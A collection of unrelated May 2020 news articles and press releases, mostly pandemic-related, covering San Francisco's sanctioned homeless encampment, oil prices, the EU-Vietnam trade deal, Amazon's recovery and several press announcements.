But for many, the project comes as too little, too late.

Breed launched the plan earlier this month as a solution to a homelessness crisis compounded by an outbreak. With shelters no longer taking in new guests during the pandemic and forced to reduce capacity by 76% to adhere by social distancing guidelines, the number of tents throughout the city had leapt by at least 71%.



In the historically underserved Tenderloin neighborhood, a low-income community in the heart of the city experiencing the brunt of the crisis, tents have increased by 258%.

While in normal times I would say we should focus on bringing people inside  we frankly do not have many other options right now Mayor London Breed

While in normal times I would say that we should focus on bringing people inside and not sanctioning tent encampments, we frankly do not have many other options right now, Breed said. Having places with resources serving people in the neighborhood is better than unsanctioned encampments.

Story continues

But with the citys fraught history of encampment sweeps and move-along orders, few within a homeless community of more than 8,000 individuals could trust the city to do right by them either. Villereal, 40, for one, was not getting a shower any time soon.

I dont live here, she shrugged at the Safe Sleeping Village, which is guarded by staff from the not-for-profit Urban Alchemy. Thats what they told me. With the stay-at-home order, and shelters and gyms with those facilities closed, its been more than a month since Villereal has had a real shower. Shes been forced to take bird baths, washing up in public water fountains and bathroom sinks.

Look at my hands, she said mournfully, gazing down at her dirt-blackened fingertips. I try, I really do, but look at them.

How the encampment came to be

The move comes as a major shift not just for Breeds administration, but for the city, which has long had an uncivil relationship with tents. In 2016, San Francisco voters banned tents on public sidewalks, adding to the citys retinue of anti-homeless laws that are among the most stringent in California. Earlier that year, San Francisco played host to the Super Bowl, and in the months leading up to the festivities, more and more homeless people found themselves getting pushed by authorities out of the citys main stretches. Shelters  oftentimes tents  would end up confiscated, along with everything inside them.

San Franciscos first temporary sanctioned tent encampment for homeless people. Photograph: Justin Sullivan/Getty Images

Even after a court ruling held that it constituted cruel and unusual punishment to enforce criminal laws against homeless people living on the street if a city did not offer enough shelters, the sweeps and tent confiscations persisted. The number of homeless individuals who lost everything they had because of the citys stance on tents was enough that housing advocate Leslie Dreyer started the Stolen Belonging Project. The city has focused on getting rid of visible homelessness for many years, and I dont think the general public really understood what it meant to throw a tent away, Dreyer said.

Homeless individuals without a shelter were exempt when the shelter-in-place order came down on 17 March, but that didnt protect them from infection, or from possibly spreading the virus. Desperate homeless outreach activists began purchasing and handing out tents. Despite guidance from the Centers for Disease Control and Prevention to not clear encampments if there were no individual housing units available, sweeps still continued.

From the moment we gave out the first tent, we were asking where they safely could be and the city would only tell us where they couldnt be, not where they could be, said local activist Christin Evans.

They cant be in the park. They cant be in business corridors. They cant be near residences, said Kelley Cutler, the human rights organizer for the Coalition on Homelessness.

One day we woke up and the barriers were up  then one day, they locked the doors, they locked the gates, and no one was allowed in or out Mick Conway

Encampments of all sizes bloomed organically throughout the city. In the Bayview, a historically African American neighborhood in south-east San Francisco, tents went up in Martin Luther King Jr Park, 6ft apart from each other. Neighborhood not-for-profits provided residents with what they needed, and they had bathroom access on site.

More than 100 tents had assembled in the plaza near City Hall before it became the citys first official encampment. According to some in the homeless community, a whisper campaign brought many to that location. Before the city got involved, those in the plaza created their own makeshift ecosystem, making do with what little they had. One man recalled someone putting a toilet seat on top of a bucket to make up for the lack of access to public restrooms.

One day we woke up and the barriers were up, said encampment resident Mick Conway, 49. One day we woke up and the fences were up. The next day they put the green fabric [over the fence] up, and then one day, they locked the doors, they locked the gates, and no one was allowed in or out.

Those that ended up inside the fence had the option to sign an agreement with the city stating that they would follow encampment rules and policies. Those that chose not to sign had to leave. The agreement says that the program is slated to end on 30 June.

Too little, too late?

For some, the security offered in this sleeping village is a respite. Encampment residents can sleep until noon without worrying about a neighbor calling in their presence as a nuisance. Conway said he likes being able to set up your tent and stay where you want instead of being harassed by the police and pushed off somewhere else. The green fabric gives the camp a semblance of privacy, and the Urban Alchemy staff stand watch at the doors and let in only residents and service workers.

But the camp is also a caged spectacle. Pedestrians gawked at the fence, discussing it loudly as they passed. A man walking a chocolate labrador retriever stopped to peek through a gap in the green fabric, while another man slowed to film with a small camera. Go back to your home, sir, a member of the citys homeless outreach team said.

Tents line a sidewalk on Golden Gate Avenue in San Franciscos Tenderloin neighborhood. Photograph: Jeff Chiu/AP

Its a somber feeling inside, Conway said. Its not happy. I dont want to compare it to a concentration camp or something of that nature, but its definitely not the jolliest of places.

Lena Miller, the founder and CEO of Urban Alchemy, is well aware that the village is, despite well-meaning intentions, showcasing the horrors of poverty and hopelessness during the pandemic. She asked for artists to donate artwork to the camp, musicians to perform for the residents and art therapists and teachers to facilitate healing activities.

But this wouldnt solve the issue that across the street from the sanctioned encampment, at least 10 more tents crowd the sidewalk. The residents in that encampment had a hand-washing station and a port-a-loo, but a few blocks up, where more people than tents packed the corner, they had nothing, some sleeping out in the open.

This is barely a Band-Aid, said Adam Reichart, 50, gesturing at the sanctioned encampment. Every morning, Reichart is woken up by a public works employee, who gives him three Kind bars in exchange for the cardboard box hut that he sleeps under for protection. Reichart, who has three tumors on his lungs, is one of the medically vulnerable on the streets for whom the citys hotel room program is designed. But 10 weeks in, he still cant get a hotel room.

The city is planning on opening more sanctioned encampments. But homeless outreach advocates and service workers are frustrated. They had offered the solution of sanctioned encampments weeks ago, when the city made clear that it would not house all unhoused individuals in hotel rooms.

But it wasnt until 10 weeks into the stay-at-home order that the city listened. It wasnt until thousands of the homeless population suffered in the streets, with nowhere else to go. It wasnt until individuals like Jasmine Villereal had gone more than a month without a proper shower.

Villereal smiled a heartbreaking, toothless smile before walking away from the green-cloth fence. Remind everybody you see to not stop caring, she said.
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The executions of multi-sourcing and automation into consulting is anticipated to fuel the North America strategy consulting market growth. Since the advent of machine learning, analytics, and Artificial Intelligence (AI), businesses have transformed in a big way. These upcoming technologies have had positive impact on the business sectors implementing them and thus, have found huge prominence in the market. The consulting industry has been heavily dependent on the skill set of the individual or the team performing the consulting activity. Further, a consulting industry caters to almost all other business sectors. Businesses are highly characterized by the regulatory changes, weather conditions, disposable incomes of the consumer in the region, and the economy of the region. Considering a larger sample, most of these factors follow a particular pattern that would be automated and enable the consultants to deliver results efficiently. These initiative by the market player are enhancing the growth of North America strategy consulting market.

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US is anticipated to leads the strategy consulting market across the North America region through the forecast period. US is one of the leading market for strategy consulting in North America. US is an economically advanced country and therefore hosts a continuous improvement in various technologies and infrastructure. Various initiatives being taken regarding the use of Strategy Consulting tools in the healthcare sector, recruitment & training sector in the different regions of the country. IT sector in the US is the largest in the world, and the most advanced. This bolster the North America strategy consulting market on the forecast period. The figure given below highlights the revenue share of Mexico in the North America strategy consulting market in the forecast period:

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According to Taiwanese media Commercial Times, Asus is going to release two flagship phones in July or even earlier - sometime towards the end of the second quarter. The two phones in question are the Zenfone 7 and the upcoming gaming ROG Phone III.

This goes well in line with the recent Wi-Fi certification that the upcoming ROG Phone III received. This means that the phone is in the final stages of the development phase and it should be ready to launch pretty soon. Now according to the new report, the Zenfone 7 will tag along.

When you think of it, both phones, the Zenfone 6 and the ROG Phone II are due for an update.

Those wanting an all-round flagship will get the Zenfone 7 while gaming enthusiasts will shoot for the way more expensive ROG Phone III. The Taiwanese company expects 30-50% growth in ROG Phone sales after the release of the 2020 version so we might be in for some big surprise.

Source (in Taiwanese)
DUBAI, UAE, May 22, 2020 /PRNewswire/ -- A new initiative to promote international cultural understanding through the power of books and words has been launched by the Emirates Literature Foundation.

To view the Multimedia News Release, please click: https://www.multivu.com/players/uk/8730851-literary-conversations-across-borders/

Called 'Literary Conversations Across Borders', the project will use a digital platform to host Emirati writers and commentators in live discussions with high profile experts from around the world on a variety of critical topics.

The series will launch on Saturday 30 May 2020 at 17:30 (GST) UAE, 14:30 (BST) UK, 19:30 (IST) India, 09:30 (EDT) US, with the intellectual, writer and Indian politician Shashi Tharoor and His Excellency Zaki Nusseibeh Minister of State: Office of Cultural Diplomacy UAE who will debate how the events of 2020 will change the course of history, for better or worse.

Isobel Abulhoul, CEO and Trustee of the Emirates Literature Foundation said that the project was timely and that it was important to continue international dialogue during the current crisis: "Having these conversations across cultures strengthens our bonds and brings greater appreciation of the topics that affect us in the world today, no matter where we live. We originally planned 'Literary Conversations Across Borders' as a travelling project, taking Emirati authors and experts to book fairs and literary festivals throughout the world. World events have conspired to make that not possible at the moment, however we have grasped the initiative and re-designed it, with discussion being taken into the heart of people's homes, recognising the common concerns, joys and sorrows that affect us all, no matter who we are."

Future editions of the series will feature Jane Goodall, one of the world's best-known scientists and environmentalists on 6 June in a discussion with the UAE Minister of State for Food Security, Her Excellency Mariam bint Mohammed Al Mheiri.

Will science be the new religion in the post-pandemic world? is the question that will be posed in a frank examination by His Excellency Omar Ghobash Assistant Minister, Office of Cultural Diplomacy and Lesley Hazleton, award-winning journalist and author of The First Muslim. They will consider whether an increased appreciation for the factual certainties of science, following the leading role it has played in tackling the pandemic, will have an impact on our belief systems based on the intangibles of faith, hope and trust. This debate will take place on 13 June.

There will be eight sessions in this first series. Further details and more authors will be announced shortly.

The sessions are free to watch but pre-registration is required. After the event the session will be hosted on the Emirates Literature Foundation YouTube channel. Full details on the upcoming programme will be available on the Emirates Literature Foundation website.

About the Emirates Literature Foundation:

The Emirates Literature Foundation is a not-for-profit organisation which supports and nurtures a love of literature in the United Arab Emirates and the region, through a programme of varied cultural initiatives.

Established in 2013 by Royal Decree issued by His Highness Sheikh Mohammed Bin Rashid Al Maktoum, Vice-President and Prime Minister of the UAE and Ruler of Dubai, the Foundation aims to foster a love for literature, with a focus on the Arabic language.

In line with the National Reading Policy of the UAE, the Foundation has implemented several long-term projects including the School Librarian of the Year Award and the annual Arabic Language Week, as well as conducting year-round student education programmes, book clubs and creative writing courses. The Foundation's previous initiatives included the 2016 Dubai Translation Conference and the 2017 Dubai International Publishing Conference, which hosted a number of international participants.

The Foundation is also the governing body of the Emirates Airline Festival of Literature, the UAE's premier literary festival, which will be held 2- 6 February, 2021.

Emirates Literature Foundation

Dar Al Adaab

Al Shindagha Historical Neighbourhood

PO Box 24506

Dubai, UAE

www.elfdubai.org

Photo - https://mma.prnewswire.com/media/1172001/Emirates_Airline_Festival.jpg

Logo - https://mma.prnewswire.com/media/1171583/ELF_Logo.jpg

For more information, please contact:

Ariel Robinson

ariel.robinson@emirateslitfest.com

Tel: +971 4 355 9844

Carmel Rosato

Tel: +44 (0) 7557 357782

carmel.rosato@emirateslitfest.com
A college student has been dubbed a real-life Rapunzel after sharing videos of herself with her veiled chameleon  the same pet the Disney princess has in the animated film Tangled.

Lexi Hall, a freshman at Roger Williams University in Rhode Island, has an uncanny resemblance to the character from the 2010 film voiced by Mandy Moore thanks to her blonde hair and wide sea-green eyes.

Rapunzel has a pet chameleon named Pascal, and every time Lexi shares a TikTok video of herself with her reptile sidekick, Tito, people can't resist noting her resemblance to the animated character.

Scroll down for video

See it? Lexi Hall has an uncanny resemblance to Rapunzel in the Disney animated film Tangled thanks to her blonde hair and sea-green eyes

Best friends: Like Rapunzel, the freshman at Roger Williams University in Rhode Island has a pet chameleon, though hers is named Tito, not Pascal

In one clip, Lexi has Tito on her shoulder as she reenacts a scene from Tangled in which Rapunzel reminds her mother it's her birthday.

'Does this meet yall standards??? Someone call up Disney and let them know whats up,' she captioned the clip, which has been viewed nearly 500,000 times.

'Disney should cast you if they make a live-action!!' one person commented, while another called her a 'real-life Rapunzel.'

Another video shows her holding her beloved reptile in her hand as she mimics Rapunzel singing 'When Will My Life Begin,' a song from the movie.

Going viral: Lexi has shared a few TikTok videos of herself lip-syncing lines from the film

Owning it: One video shows her holding her beloved reptile in her hand as she mimics Rapunzel singing 'When Will My Life Begin,' a song from the movie

'More Pascal and Rapunzel vibes for y'all,' she wrote.

'Youre literally Rapunzel,' one fan gushed.

Someone else insisted she is going to start a petition for Lexi to play Rapunzel if Disney ever announces a live-action version of Tangled.

Lexi, who has more than 440,000 TikTok followers, opened up about Tito in a video posted earlier this month, saying she got the veiled chameleon at Petco.

'The reason he is so small is because he is a baby,' she explained. 'He's gonna get bigger. He's not going to stay this size forever, although I wish he would.'

Future star? Fans insist she looks just like Rapunzel, and some have even suggested that she star in a live-action version of the children's movie

Influencer: Lexi has more than 440,000 TikTok followers thanks to her playful videos

What she believes: Although she knows chameleons 'can't process love,' she insists that Tito loves her

'He doesn't change color based on his surroundings. He changes color based on his mood,' she added. 'And, no, I am not going to try and take a video of him changing color because he changes color when he's stressed, and I don't want to purposefully stress him out.'

Lexi noted that like most chameleons, Tito is territorial, and if he sees his reflection, he will get 'super mad.' He is often seen climbing her hair in her videos because chameleons like to be at the highest point of wherever they are.

'This is where he's happiest,' she said, pointing at Tito resting on top of her head.

'Chameleon's can't process love. They don't have amygdalas, which means they can't love,' she said. 'But I know he loves me  I'm just going to keep pretending.'
LOS ANGELES, May 22, 2020 /PRNewswire/ --

WHEN: May 25, 2020 - Memorial Day & End of Ramadan.

WHERE: M.T.O. centers in dozens of cities worldwide, including Los Angeles, Orange County, New Jersey, Sacramento, Denver, San Diego, Atlanta, Hillsborough, Dallas, Berkeley, Phoenix, Salt Lake City, Albuquerque, Houston, Bloomington, Chicago, Milwaukee, Saint Louis, Minneapolis, Columbus and New York.

WHO/WHAT: The M.T.O. Shahmaghsoudi School of Islamic Sufism marks the end of Ramadan by delivering thousands of food items and care packages to the homeless and veterans in need, VA hospitals and low-income frontline families.

In the United States, MTO volunteers will be joined by Members of U.S. Congress, Mayors, City Counsilmembers and other dignitaries to honor attending veterans, police officers, fire fighters, sheriff deputies and COVID-19 frontline heroes.

As part of M.T.O.'s global COVID-19 Initiatives , all M.T.O. centers around the world will be conducting similar food drives on the same day, in Canada, the United Kingdom, Spain, Germany, France, Denmark, Sweden, Australia, New Zealand and throughout the United States.

Additionally, at 10:00 a.m. (PST), a special Instagram Live Tamarkoz (Sufi Meditation) session will be broadcast from the M.T.O. Los Angeles center. This Instagram Live session will implement specific meditation and relaxation techniques to provide stress management and assist in reducing anxiety during this historical time.

WHY: M.T.O. will mark the end of Ramadan - observed by Muslims worldwide as a month of fasting, prayer, reflection and community - by showing appreciation to the heroes who have sacrificed to protect us every day.

"We traditionally mark the end of Ramadan by celebrating Eid Fitr, also called the 'Festival of Breaking the Fast.' In light of recent events, M.T.O. centers worldwide have chosen this day to provide hope, food and stress relief to those in need, whether related to the current pandemic or other tribulations."  Sara Bavar, L.A. M.T.O.

"While we may not be able to celebrate Eid Fitr with our families and loved ones this year, we cannot think of a better way to commemorate this wonderful occasion than continuing our global efforts in support of our local communities."  Ghoncheh Alavi, London M.T.O.

SOURCE MTO School of Sufism

Related Links

http://mtoshahmaghsoudi.org


Crude prices ended a six-day winning streak Friday but remain near their highest level in more than two months. Prices have been strengthened by economies around the globe beginning to reopen and signs that oil demand is on the rise.

West Texas Intermediate on the New York Mercantile Exchange fell 67 cents, or 2 percent, to close at $33.25 a barrel Friday. Still, prices ended the week with a 13 percent gain from the $31.82 seen at Mondays close. The posted price was $29.75 on Friday.

Prices were undercut by concerns about the continued growth of Chinas economy, the second largest in the world. Beijing, at the Community Partys National Peoples Congress, declined to set an economic growth target for the year because of great uncertainty over the novel coronavirus, according to Bloomberg. There is also concern that a proposed bill to forbid secessionist and subservice activity in Hong Kong would raise tensions between China and the US.

Natural gas prices began the week with a 14-cent jump on the NYMEX Monday, followed by a 5-cent rise Tuesday but could not hold onto those gains. Prices ended the week at $1.731 per Mcf, down from $1.783 Monday.

I am encouraged but cautious, David Bledsoe, president of Henry Resources, told the Reporter-Telegram by email. Storage draw at Cushing proves that the Permian dropped production faster and deeper than anybody expected. However, from talking to friends at other companies and reading all I can find, it sounds like production is about to come back a little too much in June and July. I am afraid we will have another drop in price once that happens. We are about 80% shut in and will stay that way for a little longer.

RELATED: Rig counts set new record lows

Jim Burkhard, head of oil markets at IHS Markit, said in a phone interview, that while he is shying away from calling it a V-shaped recovery, it appears the bottom of the demand decline was in April. Since the first half of April, Chinas oil demand has gotten stronger, and in the U.S., gasoline demand has risen in particular, and in Europe, too. Keep in mind, this is from very low levels.

Oil prices are about supply and demand, he said, and that he was surprised at the warp speed of the oil production cuts weve seen everywhere, particularly in West Texas. We had a brutal realignment to lower levels of demand. Supplies have now declined a little to the point of the worst being behind us.

The U.S. and Canada have cut more production than any other producing region in the world, including the Middle East, Burkhard said.

Companies responded to the extreme market conditions  illustrated, he said, by the price of oil falling to a negative $38 a barrel on April 20  faster than they thought they could, he said.

That negative price on April 20 should have eliminated any doubts about market conditions, Burkhard said.

Now that prices have recovered, he said, There is no single price that will lead to a common reaction. We do see conditions for prices to rise in the second half of the year. But any price increase will be moderated by, first, drawing down large inventories, and second, at $30, some production may come back online. The question is, will the increase in supply outpace the increase in demand? Gasoline supplies are still high and there is still a lot of crude on ships. Though the worst is behind us, theres still a lot of supply out there.
As millions more Americans turned to online shopping during the pandemic, Amazon struggled to keep up with the demand, and its rivals pounced. Targets online sales shot up 141 percent last quarter, while Walmarts rose 74 percent. Etsys were up almost 80 percent in April.

Now Amazon is saying enough is enough.

The company is shipping many more items in a day or two and is again running promotions. It has removed limits on the types of products allowed in its warehouses. And while it has delayed its annual Prime Day, Amazon is preparing for an earlier Summer Sale to let brands sell excess inventory, according to an audio recording of an internal meeting discussing the promotion.

The changes position Amazon to recapture its customers who had fled elsewhere when the outbreak took hold. And the moves signal that Amazons leaders feel confident that the business, and in particular its shipping network, is no longer in crisis mode in response to the pandemic.

They eliminated their own competitive advantage they had built over 20 years, said John Ghiorso, who runs Orca Pacific, an agency that helps brands run their Amazon business. Now they are getting it back pretty quickly.
Vice President Dang Thi Ngoc Thinh said the EVFTA was a comprehensive and fair deal that represented both Vietnam and the EU's rights and interests at a National Assembly meeting on Wednesday in Hanoi.

EVFTA was one of the most important deals ever signed by Viet Nam, marking a new era of trade and cooperation with Europe as well as the countrys global integration efforts.  Photo tapchitaichinh.vn

Thinh said that opening the door to EU products and services would create pressure on some domestic firms, but Viet Nam and the EUs product portfolios tended to supplement each other instead of being in direct competition, so policymakers expected the pressure to stay at an acceptable level. This should spur domestic firms to adopt new technologies and improve their products and services.

She said the trade deal required a total revamp of Viet Nams procedures for investment, customs, trade facilitation, workers rights, technical and sanitary standards, as well as intellectual property rights. Therefore, the Government must push for stronger administrative reforms and aim for more sustainable development models.

On the topic of the EU-Vietnam Investment Protection Agreement (EVIPA), she said the agreement helped strengthen Viet Nams role in regional and global trade.

Chairman of the NA Committee on External Affairs Nguyen Van Giau said the committee supported the trade deal and urged the Government to work on a more detailed roadmap and preparation plans for its implementation.

The committee also advised the Government to conduct further studies on the impacts of the EU- Vietnam Free Trade Agreement (EVFTA), especially in light of the COVID-19 pandemic. Contingency plans and risk control measures must be put in place to minimise the adverse effect of the pandemic.

A number of key tasks must be completed including the application of information technology to keep governmental agencies, the business community and consumers updated on the trade deal, along with support for Vietnamese enterprises to take advantage of trade opportunities.

Boosting recovery

Minister of Industry and Trade Tran Tuan Anh said the EVFTA was one of the most important deals ever signed by Viet Nam, marking a new era of trade and cooperation with Europe as well as the countrys global integration efforts.

The EVFTA had the potential to help Viet Nam lift 800,000 people out of poverty by 2030, according to a paper published by the World Bank in April. The trade deal, in light of the COVID-19 pandemic, would provide a significant boost for the recovery of the economy, opening many doors for Viet Nams exports, granting Vietnamese businesses access to new supply chains and setting up Viet Nam as a promising destination for the global supply chain.

The trade deal also provided a cornerstone for the recovery of production post-pandemic. Additional export markets would allow Viet Nam to reduce its reliance on traditional trade partners, said the minister.

On the topic of Brexit, there will be a transitional period, which is expected to last until the end of 2020, before the UK officially departs the bloc. Trade terms between Viet Nam and the UK will follow what is stipulated under the EVFTA, with a possible extension of up to 24 months. Bilateral talks between the two countries have been underway to prepare for a post-Brexit agreement with both sides looking to ramp up trade.

The UK is Viet Nams third-largest trade partner within the EU with trade turnover growth of 17.8 per cent year-on-year. By the end of 2019, bilateral trade reached $6.61 billion, with Viet Nams exports accounting for $5.76 billion.

The Government has been reviewing the countrys existing legal frameworks in anticipation of the trade deal to keep in line with EVFTA standards on transparency and intellectual property.

In addition, several Government programmes have been put in place to disseminate information about the EVFTA in the business community to improve competitive capacity for Vietnamese firms, to reinforce unions and organisations representing workers rights at a grassroots level, and to establish a roadmap for the sustainable development of social policies.

The EVFTA includes 17 chapters, two protocols and a number of accompanying memorandums of understandings on trade in goods and services, investment, trade remedies, competition, State-owned enterprises, government procurement and intellectual property.

Under the trade deal, 65 per cent of duties on EU exports to Viet Nam as well as 71 per cent of duties on Vietnamese exports to the EU will be removed as soon as the trade deal enters into force. The remainder will be phased out gradually over a period of up to 10 years for EU exports and seven years for Vietnamese exports.

The EVFTA also contains provisions on intellectual property protection, labour rights and sustainable development. The trade deal will open a great opportunity for Viet Nam to enter a market with a GDP of US$18 trillion.

The EU is one of the largest trade partners of Viet Nam with two-way trade hitting $56.39 billion in 2019. The EU is also Viet Nam's 5th largest foreign investor. The figure is expected to increase significantly in the near future as 62 per cent of investors from the EU have a positive opinion of doing business in the Southeast Asian country.  VNS

Decisive reforms needed for Vietnam to realize full benefits of EVFTA: WB The EU-Vietnam trade deal is the largest new-generation free trade agreement in Vietnams history in terms of direct benefits.
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Linkedin Yulia Savitri (The Jakarta Post) Palembang  Fri, May 22, 2020 09:40 608 fc6853813033f564188675f8bd98d940 1 National South-Sumatra,COVID-19,coronavirus,COVID-19-in-Indonesia,Ogan-Komering,Palembang,lockdown,PSBB,large-scale-social-restrictions Free

For the residents of Jermun village in Ogan Komering Ilir regency, Palembang, South Sumatra, the physical restrictions imposed in the wake of the COVID-19 outbreak are nothing new.

Long before the coronavirus emerged, these villagers have relied on a ritualistic form of lockdown called bekunci to protect them against infectious diseases.

"Bekunci is part of a traditional ceremony called sedekah obat to prevent the spread of a plague," Ogan Komering Ilir spokesperson Adi Yanto said on Wednesday.

Meaning "medicinal offerings", he said that the sedekah obat ceremony was held for four days.

"The first night involves tolak bala," a ritual for "casting out threats", explained Adi. "All the villagers gather in an open field. Then, a group of youths place memali [agarwood] logs around them. They are forbidden to leave the circle until the ritual is over."

Read also: National COVID-19 task force chief urges public to obey PSBB to pave way for 'new normal'

A customary leader and the youths then sprinkle each villager with water that has been mixed with papaya leaves.

On the second day, the villagers are all barred from working their farms or paddies. They are also forbidden from wielding any sharp implements.

On the third day, the villagers may not engage in any strenuous physical activities.

"They believe that if they break any of the rules, great misfortune will befall them," Adi said.

On the first three days, the sons or the heads of every family must burn coconut husks to ward off danger.

They must also place lengths of yellow bamboo on their roofs to symbolize courage and prosperity. The number of bamboo poles represents the number of sedekah obat that the family has participated in.

No villager dares to go out at night during the three days," Adi said.

On the fourth and final day, the villagers are released from the log circle and hold a celebration. They make traditional cakes like kolak dawet, gulo puan, lemang and sagon and feast on them in a field.

Read also: COVID-19: Govt to tighten security at mudik ban checkpoints as Idul Fitri approaches

Adi said, however, that the villagers of Jermun did not perform the four-day ceremony for the COVID-19 outbreak.

"They followed the PSBB [large-scale social restrictions] and the physical distancing policy as advised by the government," he said.

Jermun village head Abus Roni said that none of the villagers had contracted COVID-19 to date.

"To prevent COVID-19 transmission, we set up health posts to check every visitor entering the village. The residents take turns manning the posts, and our midwives [examine] the visitors," he said.

South Sumatra has the third largest number of COVID-19 cases outside Java and Jakarta, and the seventh largest nationwide as of May 21, with 674 confirmed cases and 21 deaths. (nal)
The equipment will reach 936 united territorial communities all over the country

Open source

On May 21, EU representative in Ukraine Matti Maasikas and ambassadors of five EU member countries sent a batch of protective medical equipment to Ukraine to help it combat the spread of Covid-19. The press office of Ukraine's Foreign Ministry reported that on early May 22. Ukraine's Foreign Ministry reported that on May 22.

The delegation consisted of Ukraine's Foreign Minister Dmytro Kuleba, already mentioned EU representative in Ukraine Matti Maasikas, German Ambassador Anka Feldhausen, Estonian ambassador Kaim Kuusk, Ambassador of Poland Bartosz Czihocki, and First Secretary of the Swedish Embassy Louise Morsing.

The equipment will reach medical workers in 936 united territorial communities all over the country. The list of goods included protective eyewear, masks, gloves, contact-free termometers, respirators and sanitizers.

Related: EU urges to prepare for second Covid-19 wave

The assistance was rendered within U-LEAD with Europe, the program of support of decentralization in Ukraine. It involves five EU member countries and Caritas Ukraine.


Leaders of 22 opposition parties on Friday decided to submit to a 10-point charter of demands to the Centre, urging it to refrain from using the Covid-19 crisis for personal political gains, activate parliamentary institutions such as standing committees and provide financial help to states.

The meeting, chaired by Congress president Sonia Gandhi, also appealed to Prime Minister Narendra Modi to immediately reach out to all the political parties in a systematic manner, engage them in a dialogue with listen seriously to their suggestions to deal with the health and economic crisis triggered by the deadly coronavirus.

Nationalist Congress Party (NCP) chief Sharad Pawar said the like-minded parties believe that this is neither the time for showmanship nor the one-upmanship. This is the time for a collective endeavour to bring India out of this crisis. This is what the people of India need and this is what the people of India demand, he added.

Pawar said the opposition parties are collectively going to raise a ten- point demand to the Centre for immediate implementation.

Refrain from using the crisis for personal political gain, activate parliamentary institutions like standing committees and be genuine in helping the states financially and otherwise, he said.

Pawar stressed the need to take the right steps to gradually restore road transport within the states and plan for resumption of air and rail services that were disrupted by the lockdown.

New policies for encouraging industrial growth should be incorporated to attract new investment in the states. To increase imports, exports and inland shipping, consultations should be held with industrialists, entrepreneurs and expert officials in the field, he added.

The number of students will decline for the next academic year due to the lockdown. Some educational institutions are likely to collapse or close down due to financial losses. A study group or committee should be appointed to take timely measures, the former union minister said.

Pawar said the state governments are relaxing the conditions of lockdown but factories are not in a position to resume as workers have migrated to the villages.

We need to strategise to bring them back, he said.

Earlier, the opposition parties urged the Centre to immediately declare the devastation caused by Cyclone Amphan in Odisha and West Bengal as a national calamity and called for substantially helping the two states in facing the impact of the disaster.

The leaders passed a resolution in this regard and said relief and rehabilitation should be the topmost priority at this juncture.

We, the opposition parties, extend our sympathy and support to the governments and people of West Bengal and Odisha in meeting the impact of the devastation caused by Cyclone Amphan, it said.

The resolution said a natural calamity like Cyclone Amphan has come as a double blow to the states amid the coronavirus pandemic, breaking the spirits of people.

Opposition parties, therefore, urge the central government to immediately declare this as a national calamity and substantially help the states in facing the impact of this disaster, it added.

The resolution said the people of Odisha and West Bengal urgently need the support and solidarity of the governments and citizens of the country.

Relief and rehabilitation should be the topmost priority at this juncture, it further said, adding the possibility of an outbreak of other diseases as a result of the calamity must also not be ignored.

We, the opposition parties, call upon the central government to provide urgent help to our fellow citizens/countrymen, it said.

The leaders also conveyed their deepest condolences to the families of those who lost their lives due to the cyclone.

We express our solidarity and sympathies with the pain of those who have suffered other losses. The country and its people are already in the midst of a grim struggle for survival combating the Covid-19 pandemic, they said.
Another fraudulent act by Speaker of the Lagos State House of Assembly, Mudashiru Obasa, to siphon public funds.

According to a document seen by our correspondent on Thursday, the Assembly, on the orders of Obasa, approved N51,477,987 for himself and nine others to attend a leadership summit in Vienna, Austria.

Most of the amount approved by the Speaker for the contingent went into the payment of estacodes, which ran into several millions of naira from public funds for a four-day summit.

The document reads, Approval for the release of the sum of N51,477,987 to enable RT. Hon Speaker, 6 Hon. members and three others to attend an international leadership, communication and entrepreneurship summit from 18  22 September 2018 in Vienna, Austria.

Assembly, Wasiu Eshilokun-Sanni, and 17 other members received N80m as estacode after attending a five-day event in Dubai, United Arab Emirates.

In a series of reports, SaharaReporters has also exposed how Obasa and some of his allies at the Lagos Assembly diverted public funds for personal use.

Some of the reports showed how Obasa fraudulently approved the sum of N258m for the printing of invitation cards for the inauguration of the Ninth Assembly two months after the event held and how he approved N17m monthly to maintain his residence and guest house.
- Bespoke, virtual school tours launched to help anxious parents.

- Face to face on-line meetings, interviews with Head Teachers & Department Heads, multimedia tours of facilities, services and teaching methods, teaching and class demonstrations

- Launched in 33 Inspired schools across Europe

- Over 800 families have selected an 'Inspired' school since lockdown

- "We're very proud of the way our outstanding teachers implemented synchronous virtual learning within hours of closure at every Inspired school around the world. Now they have been joined by our admissions teams across the globe in supporting parents and families to continue their educational journey", says founder Nadim M Nsouli

LONDON, May 22, 2020 /PRNewswire/ -- With the majority of schools across the world still closed, many parents are left with the challenge of finding and selecting school places for September from home. Following its rapid implementation of continuous, live streamed virtual learning to over 50,000 students worldwide, leading independent schools Group, Inspired, has launched "Virtual Open Days" via an innovative and tailored one to one "e-school visit" for families who are in still in search of a school place for their children.

Following the success of the e-learning programme set up by Inspired Education Group (founded by Nadim M Nsouli) for its students during the Covid-19 pandemic, the group has launched a bespoke "Virtual Open Day" in 33 schools across Europe, for families still looking for school places for the new academic year. Since lockdown began on 23rd March 2020, Inspired has seen a rapid increase in on-line admission enquiries, up 137% compared to last year.

"In the e-learning programme implemented in our schools, we committed to maintaining the excellence of our academic and pastoral care provisions, ensuring engagement and emotional connection of the students. We felt we needed to follow the same approach to prospective families across Europe who are now worried that schools may not open in time to make a physical visit and final selection before the new academic year begins in September," explains James Day, Head of Admissions for Europe for Inspired.

Many schools have done group introductions to schools online which parents have commented are 'difficult' environments to ask the often personal questions which mean making the right school choice ahead of the Autumn term starting in September. "We wanted to offer a quality and personalised 'school e-visit' to families who risked having to make a critical decision on very limited information", continues James Day.

The "Virtual Open Days" have been designed to be interactive, informative and illustrative. In order to make up for the physical distance between parents and school, the format combines an online one to one meeting and a series of specially created multimedia presentations designed to share a clear visualisation of facilities, services, and teaching methods. In addition, parents can speak with academic leaders, ask them questions and learn first-hand all about both teaching and pastoral approaches - and values. The system was first trialled in Inspired schools in Vietnam where prolonged closures were causing distress for parents wanting to visit schools to make a final selection.

"Choosing a school for your child is one of the most important decisions a parent has to make. The current situation has disrupted parents' plans to visit schools which prevents them being able to talk to the academic staff and get a feel for the school's atmosphere, culture and values. With our bespoke virtual school tour, we provide a clear idea of what we stand for and we can offer parents an opportunity to interview us privately to ask questions relevant to their child which might be more difficult to ask in a public forum", explains Andrew Towes, of Reddam House School in Berkshire.

